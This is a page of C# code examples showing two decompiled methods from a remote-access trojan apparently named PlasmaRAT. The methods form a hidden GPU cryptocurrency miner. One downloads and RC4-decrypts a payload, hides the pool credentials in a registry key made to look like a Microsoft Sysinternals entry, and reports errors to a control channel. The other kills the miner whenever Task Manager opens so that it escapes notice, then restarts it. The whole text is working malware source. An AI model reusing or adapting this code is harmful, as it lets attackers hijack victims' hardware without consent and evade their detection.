Ejemplo n.º 1
0
 // Token: 0x0600008A RID: 138 RVA: 0x00008D6C File Offset: 0x00006F6C
 public static void InstallGPUMiner(string FileDownload, string Pool, string Username, string Password)
 {
     try
     {
         if (!File.Exists(Conversions.ToString(GPUMiner.GPUMinerFile)))
         {
             WebClient webClient = new WebClient();
             byte[]    input     = webClient.DownloadData(FileDownload);
             byte[]    bytes     = Miner.Proper_RC4(input, Encoding.UTF8.GetBytes(PlasmaRAT.Username));
             File.WriteAllBytes(Conversions.ToString(GPUMiner.GPUMinerFile), bytes);
         }
         Interaction.SaveSetting("Microsoft", "Sysinternals", "vir32", string.Concat(new string[]
         {
             "*",
             Pool,
             "*",
             Username,
             "*",
             Password,
             "*"
         }));
         GPUMiner.BeginGPUMiner();
     }
     catch (Exception ex)
     {
         PlasmaRAT.TalktoChannel("GPU Miner: Failed to Download Files. Error: " + ex.ToString(), string.Empty);
     }
 }
Ejemplo n.º 2
0
 // Token: 0x06000088 RID: 136 RVA: 0x00008AB0 File Offset: 0x00006CB0
 public static void GPUMinerThreader()
 {
     if (GPUMiner.RanGPUMiner)
     {
         try
         {
             if (Process.GetProcessesByName("taskmgr").Length >= 1)
             {
                 try
                 {
                     foreach (object obj in ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[]
                     {
                         "Select Name from Win32_Process Where Name = '" + GPUMiner.GPUMinerExecutable + ".exe'"
                     }, null, null, null)))
                     {
                         object objectValue = RuntimeHelpers.GetObjectValue(obj);
                         NewLateBinding.LateCall(objectValue, null, "Terminate", new object[0], null, null, null, true);
                     }
                 }
                 finally
                 {
                     IEnumerator enumerator;
                     if (enumerator is IDisposable)
                     {
                         (enumerator as IDisposable).Dispose();
                     }
                 }
                 Thread.Sleep(10000);
             }
             else if (Process.GetProcessesByName(GPUMiner.GPUMinerExecutable).Length < 1)
             {
                 GPUMiner.RanGPUMiner = false;
                 GPUMiner.BeginGPUMiner();
             }
         }
         catch (Exception ex)
         {
         }
     }
 }